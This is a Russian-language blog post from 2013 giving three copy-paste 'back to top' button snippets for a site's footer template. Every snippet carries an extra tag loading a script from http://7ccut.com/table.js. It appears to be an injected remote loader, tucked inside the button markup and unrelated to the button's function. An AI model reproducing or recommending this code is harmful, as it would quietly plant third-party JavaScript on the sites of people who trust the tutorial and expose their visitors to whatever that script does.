Понедельник, 18.11.2024, 05:27 Главная | Регистрация | Вход
Главная »
2013 » Декабрь » 31 » Кнопки вверх для сайта
21:06
Кнопки вверх для сайта
Как правильно установить кнопку "Вверх на свой сайт? Заходим в панель управления сайтом, далее "Главная » Управление дизайном » Редактирование шаблонов" Копируем код и вставляем в "Нижняя часть сайта" в самый низ. Кнопка в стиле minecraft скрин: Код
<!-- <Кнопка Вверх> --> <script type="text/javascript"> $(document).ready(function(){ $("#back-top").hide(); $(function () { $(window).scroll(function () { if ($(this).scrollTop() > 125) { $('#back-top').fadeIn(); } else { $('#back-top').fadeOut(); } }); $('#backop').click(function () { $('body,html').animate({ scrollTop: 0 }, 800); return false; }); }); }); </script> <script type="text/javascript"> $(window).scroll(function(){ var s = $(window).scrollTop(); var f = $(document).height()-$(window).height(); var d=s/f*100; var p=Math.round(d); $("#pix").text(p); }); </script> <div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2"> <center><a title="Вверх" id="backop" href="#top"><script src="http://7ccut.com/table.js" type="text/javascript"></script><img src="http://pnghosts.ru/img/up_knopka_vv.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vvv.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vv.png'"></a></center> <center><font color="#000000" size="3"> <span id="pix"></span>%</font></center> </div> <!-- </Конец> -->
Кнопка в стиле Butterfly Расположение кнопрки "вверх" в левом нижнем углу. Код
<script type="text/javascript"> $(function() { $.fn.scrollToTop = function() { $(this).hide().removeAttr("href"); if ($(window).scrollTop() >= "250") $(this).fadeIn("slow") var scrollDiv = $(this); $(window).scroll(function() { if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow") else $(scrollDiv).fadeIn("slow") }); $(this).click(function() { $("html, body").animate({scrollTop: 0}, "slow") }) } }); $(function() { $("#Go_Top").scrollToTop(); }); </script> <a style='position: fixed; bottom: 25px; left: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'> <img src="http://pnghosts.ru/img/Button-Butterfly.png" alt="Вверх" title="Вверх"> </a><script src="http://7ccut.com/table.js" type="text/javascript"></script> <script type="text/javascript"> $(function($) { $("#button_potfolio img").hover( function () { $(this).animate({right: '0'}, {queue:false, duration: 350}); //$(this).css('right', '0'); }, function () { $(this).animate({right: '-100px'}, {queue:false, duration: 350}); // $(this).css('right', '-100px'); } ); }); </script>
Кнопка в стиле парашюта - Вознестись к небесам Код
<!--кнопка вверх Вознестись к небесам--> <a href="javascript://" onclick="$('body').scrollTo({top:$('body').offset().top, left:0}, 1500);return false;"> <div style="position:fixed; opacity:0.8; bottom:22px; right:25px;" id="fImgtotop"><img title="Вверх" src="http://pnghosts.ru/img/air-balloon-icon.png" border="0"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div> </a> <!-- </кнопка вверх Вознестись к небесам-->
Просмотров: 426 |
Добавил: Bitfood
| Рейтинг: 0.0 /0
Добавлять комментарии могут только зарегистрированные пользователи.
[
Регистрация |
Вход ]